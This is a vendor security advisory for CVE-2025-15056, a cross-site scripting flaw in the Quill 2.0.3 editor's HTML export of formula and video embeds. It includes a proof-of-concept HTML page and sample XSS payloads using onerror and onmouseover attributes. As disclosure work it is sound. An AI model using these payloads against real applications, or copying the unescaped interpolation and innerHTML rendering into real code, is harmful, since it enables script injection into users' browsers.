Quill 2.0.3 - Lack of data validation in HTML export allowing XSS

5,1

Medium

5,1

Medium

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Quill 2.0.3 - Lack of data validation in HTML export using formula or video formats allowing XSS

Code name

State

Public

Release date

13 ene 2026

Affected product

Quill

Vendor

Slab

Affected version(s)

2.0.3

Package manager

npm

Vulnerability name

Lack of data validation - Special Characters

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

CVSS v4.0 base score

5.1

Exploit available

No

Description

Quill 2.0.3 contains a lack of data validation vulnerability in the HTML export feature. The formula and video embeds return HTML strings via html() without escaping user-controlled values. When applications use getSemanticHTML() (or getHTML()) and render the output as HTML, an attacker can inject arbitrary attributes or markup, leading to script execution in the victim’s browser. This affects common “export HTML → store → render” workflows and requires sanitization or escaping of embed values.

Vulnerability

  • Root cause: embed blots interpolate user-controlled values directly into HTML strings returned by html() without escaping or sanitization.

  • Code Location:

    • Vulnerable export path: packages/quill/src/core/editor.tsconvertHTML() uses blot-provided HTML if html() exists.

    • Vulnerable blots:

      • packages/quill/src/formats/formula.tshtml() returns <span>${formula}</span> (unescaped).

      • packages/quill/src/formats/video.tshtml() returns <a href="${video}">${video}</a> (unescaped).

The formula and video values are controlled by user input. Because html() returns a string built by simple string interpolation, a value containing quotes or closing tags (e.g., </span><img src=x onerror=alert(1)>) will produce output that breaks the expected markup and injects an element with an event handler or other malicious attributes.

PoC

  • Host the following html in a web server.

    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <title>Quill Forum Comments PoC</title>
        <link
          rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css"
        />
        <link
          rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css"
        />
        <style>
          body {
            font-family: Arial, sans-serif;
            margin: 24px;
            background: #f7f7f9;
          }
          .container {
            max-width: 900px;
            margin: 0 auto;
          }
          .card {
            background: #fff;
            border: 1px solid #ddd;
            border-radius: 8px;
            padding: 16px;
            margin-bottom: 16px;
          }
          #editor {
            height: 160px;
          }
          .actions {
            display: flex;
            gap: 8px;
            margin-top: 12px;
          }
          .comment {
            border-top: 1px solid #eee;
            padding: 12px 0;
          }
          .comment:first-child {
            border-top: none;
          }
          .meta {
            font-size: 12px;
            color: #666;
            margin-bottom: 6px;
          }
          .hint {
            color: #444;
          }
          code {
            background: #f1f1f1;
            padding: 2px 4px;
          }
        </style>
      </head>
      <body>
        <div class="container">
          <h1>Forum Comments (Quill PoC)</h1>
          <p class="hint">
            Normal user flow: write a comment, click Post. The app stores HTML and
            renders it. Try these:
          </p>
          <p class="hint">
            Formula: <code>&lt;/span&gt;&lt;img src=x onerror=alert(1)&gt;</code>
            Video: <code>https://example.com&quot; onmouseover=&quot;alert(1)</code>
          </p>
    
          <div class="card">
            <div id="toolbar">
              <span class="ql-formats">
                <select class="ql-font"></select>
                <select class="ql-size"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-bold"></button>
                <button class="ql-italic"></button>
                <button class="ql-underline"></button>
                <button class="ql-strike"></button>
              </span>
              <span class="ql-formats">
                <select class="ql-color"></select>
                <select class="ql-background"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-script" value="sub"></button>
                <button class="ql-script" value="super"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-header" value="1"></button>
                <button class="ql-header" value="2"></button>
                <button class="ql-blockquote"></button>
                <button class="ql-code-block"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-list" value="ordered"></button>
                <button class="ql-list" value="bullet"></button>
                <button class="ql-indent" value="-1"></button>
                <button class="ql-indent" value="+1"></button>
              </span>
              <span class="ql-formats">
                <select class="ql-align"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-link"></button>
                <button class="ql-image"></button>
                <button class="ql-video"></button>
                <button class="ql-formula"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-clean"></button>
              </span>
            </div>
            <div id="editor"></div>
            <div class="actions">
              <button id="post">Post Comment</button>
              <button id="clear">Clear</button>
            </div>
          </div>
    
          <div class="card">
            <h2>Comments</h2>
            <div id="comments"></div>
          </div>
        </div>
    
        <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script>
        <script>
          const quill = new Quill('#editor', {
            theme: 'snow',
            modules: { toolbar: '#toolbar' },
          });
    
          const comments = [];
    
          const renderComments = () => {
            const container = document.getElementById('comments');
            container.innerHTML = '';
            comments.forEach((comment, index) => {
              const wrapper = document.createElement('div');
              wrapper.className = 'comment';
              const meta = document.createElement('div');
              meta.className = 'meta';
              meta.textContent = `User #${comment.user} · ${comment.time}`;
              const body = document.createElement('div');
              // Vulnerable render for PoC: rendering exported HTML directly
              body.innerHTML = comment.html;
              wrapper.appendChild(meta);
              wrapper.appendChild(body);
              container.appendChild(wrapper);
            });
          };
    
          document.getElementById('post').addEventListener('click', () => {
            const html = quill.getSemanticHTML();
            comments.unshift({
              user: Math.floor(Math.random() * 1000),
              time: new Date().toLocaleString(),
              html,
            });
            renderComments();
            quill.setContents([]);
          });
    
          document.getElementById('clear').addEventListener('click', () => {
            quill.setContents([]);
          });
        </script>
      </body>
    </html>

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-15056 to refer to this issue from now on.

Disclosure policy

System Information

  • quill

  • Version 2.0.3

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

19 dic 2025

Vulnerability discovered

23 dic 2025

Vendor contacted

13 ene 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3